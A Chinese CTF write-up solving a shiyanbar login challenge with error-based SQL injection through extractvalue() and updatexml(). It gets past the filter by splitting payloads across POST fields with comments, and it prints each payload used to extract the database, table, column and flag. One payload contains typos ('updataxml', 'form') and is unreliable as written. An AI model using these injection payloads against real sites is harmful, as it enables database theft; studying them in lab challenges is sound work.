实验吧——加了料的报错注入-wp

题目链接: http://ctf5.shiyanbar.com/web/baocuo/index.php
在这题试过挺多种方法,最终网上学了两种方法,分别是extractvalue()报错注入和updatexml()报错注入,两种方法感觉都不错,但是两个都会被长度限制,最长是32位。

实验吧——加了料的报错注入-wp
有题目可以看出是用post来传递参数,
实验吧——加了料的报错注入-wp
构造post参数测试尝试一下直接注入:username=1’ &password= or’1。
fuzz一下,发现extractvalue()和updatexml没有被过滤掉

extractvalue()报错注入

原理:原理:xpath 函数报错注入
记得sql语句吗? where username=’???’ and password=’???’ 而sql语句中可以使用/ * * /注释掉中间的SQL语句。也就是说,我们可以使用 / * * /来解决这个问题,而且/* */也没有被吃掉,这叫做HTTP分割注入。构造语句

username='or extractvalue /*&password=*/(1,concat(0x5c,(select database()))) or'

爆出了库名
实验吧——加了料的报错注入-wp
接下来就是要报错出表名,需要注意一点,就是=是被过滤掉了的,可以用in或者regexp代替

username='or extractvalue /*&password=*/(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema regexp 'error_based_hpf'))) or'

爆出表名
实验吧——加了料的报错注入-wp
然后是字段名(列名)

username='or extractvalue /*&password=*/(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_name regexp 'ffll44jj'))) or'

爆出了列名
实验吧——加了料的报错注入-wp
getflag

username='or extractvalue/*&password=*/(1,concat(0x5c,(select value from ffll44jj))) or'

实验吧——加了料的报错注入-wp

updatexml()报错注入

updatexml()报错注入跟上面的挺像的,就是构造的有点不一样
首先要爆库名:

username=1' and updatexml/*&password=*/(1,concat(0x7e,(select database()),0x7e),1) or'1

实验吧——加了料的报错注入-wp
爆表名

username=1' and updatexml/*&password=*/(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where !(table_schema<>'error_based_hpf')),0x7e),3) or'

实验吧——加了料的报错注入-wp
爆列名

username=1' and updataxml /*&password=*/(1,concat(0x7e,(select group_concat(column_name) form information_schema.columns where !(table_name<>'ffll44jj')),0x7e),3) or'1

实验吧——加了料的报错注入-wp
getflag:

username=1' and updatexml/*&password=*/(1,concat(0x7e,(select value from ffll44jj),0x7e),3) or'1

实验吧——加了料的报错注入-wp